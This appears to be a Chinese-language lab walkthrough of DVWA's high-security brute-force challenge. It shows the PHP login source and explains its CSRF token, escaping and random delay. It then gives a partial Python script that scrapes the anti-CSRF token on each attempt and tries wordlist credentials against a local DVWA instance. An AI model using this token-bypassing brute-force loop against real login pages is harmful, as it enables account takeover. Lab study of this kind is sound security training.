High Level
查看源码

<?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "<p>Welcome to the password protected area {$user}</p>"; $html .= "<img src="{$avatar}" />"; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
我们发现
(1)代码加入了token,可以抵御CSRF攻击,同时也增加了爆破的难度。通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
(2)源码使用了stripslashes()、 mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入。
★stripslashes()
去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个。
★mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
-
- x00
- '
- "
- x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
(3)错误页面使用了sleep( rand( 0, 3 ) );,也就是说当我们输入错误的用户名或密码时,会随机等待0-3秒后才显示错误信息。降低了暴力破解的效率。
漏洞利用
针对这样的情况,我们能不能攻破呢?答案是肯定的,我们需要重新设计破解动作:
破解动作:访问首页——获得user_token参数——发送带user_token的登录数据包
方法一 python脚本
# Author:Zheng Na import requests,re url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/' headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"} flag = False f1 = open("username.txt", 'r') for line1 in f1: username = line1.strip() f2 = open("password.txt", 'r') for line2 in f2: # 访问首页 response1 = requests.get(url,headers=headers) # 获取user_token user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response1.text)[0] # 发送登录数据包 password = line2.strip() params = {'username': username, 'password': password, 'Login': 'login','user_token':user_token} response2 = requests.get(url, params=params, headers=headers) if "Username and/or password incorrect." in response2.text: print("username:%s,password:%s,user_token:%s----wrong account!" % (username, password, user_token)) else: print("